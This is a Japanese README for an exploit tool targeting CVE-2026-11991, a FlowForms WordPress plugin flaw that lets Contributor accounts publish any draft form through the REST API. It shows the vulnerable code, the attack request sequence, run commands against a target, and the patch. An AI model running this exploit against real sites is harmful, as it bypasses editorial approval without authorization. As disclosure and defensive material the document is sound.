
CVE-2026-11991の自動エクスプロイト。FlowForms WordPressプラグインにおける認可バイパスで、Contributor+ユーザーが細工したREST APIリクエストを介して任意の下書きフォームを公開できるようにします。
| プロパティ | 値 |
|---|
| CVE ID | CVE-2026-11991 |
| CVSS スコア | 6.2 — 中程度 |
| CVSS ベクタ | AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N/E:H/RL:O/RC:C |
| CWE | CWE-639(ユーザー制御キーによる認可バイパス) |
| 製品 | FlowForms — WordPress 会話型フォームビルダープラグイン |
| 影響を受けるバージョン | 1.1.1 までの全バージョン |
| 修正バージョン | 1.1.2 |
| 研究者 | Phantom Hat |
ソースコード分析、入力フローの追跡、パッチ差分を含む完全なホワイトボックスケーススタディ:
FlowForms は flowforms/v1 名前空間の下で REST API を公開しています。公開エンドポイント:
POST /index.php?rest_route=/flowforms/v1/forms/{id}/publish
は URL パス内のユーザー制御の {id} を受け入れ、下書きフォームをライブサイトに昇格させます。
/publish ルートの permission_callback は、一般的な権限チェックのみを実行します:
register_rest_route($ns, '/forms/(?P<id>\d+)/publish', [
'methods' => 'POST',
'callback' => [$this, 'publish_form'],
'permission_callback' => fn() => current_user_can('edit_posts'),
]);
edit_posts は**投稿者(Contributor)**が保持する権限です — WordPress が意図的にコンテンツ公開を制限しているロールです。対象の form_id に対する所有権の検証は一切ありません。認証済みの任意のユーザーがサイト上の任意の下書きフォームを公開できます。
攻撃者(投稿者) FlowForms REST API
│ │
│── POST /wp-login.php ────────────>│ (1) 投稿者として認証
│<─ wordpress_logged_in cookie ─────│
│ │
│── GET /wp-admin/post-new.php ────>│ (2) REST nonce を取得
│<─ wpApiSettings.nonce ────────────│
│ │
│── GET /flowform/{id} ────────────>│ (3) 下書きフォームを列挙
│<─ "Form Not Published" ───────────│ (未認証レスポンス)
│ │
│── POST /flowforms/v1/forms/ │ (4) 任意の下書きフォーム ID に
│ {id}/publish ─────────────>│ 公開をトリガー
│ │ ← 所有者チェックなし
│<─ { "success": true } ────────────│
│ │
│ フォームがサイト上で LIVE に │ (5) 編集承認ワークフローを
│ 編集承認なしで公開される │ バイパス
投稿者(Contributor) ロールを持つ認証済みアカウントgit clone https://github.com/0x00phantom-hat/CVE-2026-11991-FlowForms-Exploit
cd CVE-2026-11991-FlowForms-Exploit
pip install -r requirements.txt
python3 CVE-2026-11991-exploit.py \
--url http://TARGET \
--user contributor \
--password password123 \
--num_forms 100 \
--id_start 1
python3 CVE-2026-11991-exploit.py \
--url http://TARGET \
--proxy http://127.0.0.1:8080 \
--user contributor \
--password password123 \
--num_forms 100 \
--id_start 1
| フラグ | 説明 | 必須 |
|---|---|---|
--url | 対象 WordPress URL | ✅ |
--user | WordPress ユーザー名(投稿者以上) | ✅ |
--password | WordPress パスワード | ✅ |
--num_forms | 列挙するフォーム ID の数 | ✅ |
--id_start | 列挙を開始するフォーム ID | ✅ |
--proxy | プロキシ URL(例: http://127.0.0.1:8080) | ❌ |
このエクスプロイトは 3 つの自動化ステップを実行します:
ステップ 1 — 認証
攻撃者(投稿者)としてログインし、wp-admin から有効な REST API nonce を取得します。
ステップ 2 — 下書きの列挙
指定された ID 範囲で GET /flowform/{id} をスキャンします。"Form Not Published" を返すフォームがターゲットとして収集されます — これらは攻撃者が所有権を持たない下書きフォームです。
ステップ 3 — 公開
攻撃者の nonce を使用して POST /flowforms/v1/forms/{id}/publish を送信します。エンドポイントはリクエストを受け入れ、下書きを昇格させ、フォームをライブにします — 所有権に関する認可チェックは一切ありません。
| アクション | 詳細 |
|---|---|
| パッチ | 一般的な edit_posts チェックを current_user_can('edit_post', $form_id) に置き換える — 2 番目の引数は権限チェックを特定の投稿オブジェクトにバインドし、WordPress の所有権ルールを強制します |
| 緩和策 | パッチ適用までの間、プラグインがアクティブな場合は 投稿者(Contributor) および 作成者(Author) ロールを制限する |
// 脆弱なコード
'permission_callback' => fn() => current_user_can('edit_posts'),
// 安全なコード(パッチ適用後)
private function can_edit_form($form_id) {
return current_user_can('edit_post', $form_id);
}
'permission_callback' => fn($request) => $this->can_edit_form(absint($request['id'])),
CVE-2026-11991-FlowForms-Exploit/
├── CVE-2026-11991-exploit.py # リッチな UI を備えた洗練されたエクスプロイト
├── requirements.txt # Python 依存関係
└── README.md # このファイル
このツールは、許可されたセキュリティテストおよび教育研究目的のみで提供されています。 コンピュータシステムへの不正アクセスは、世界中の該当法律により違法とされています。 著者は本ソフトウェアの誤用に対して一切の責任を負いません。 所有していないシステムをテストする前に、必ず明示的な書面による許可を取得してください。
Phantom Hat — 独立系セキュリティ研究者
この調査は、責任ある脆弱性開示の一環として実施されました。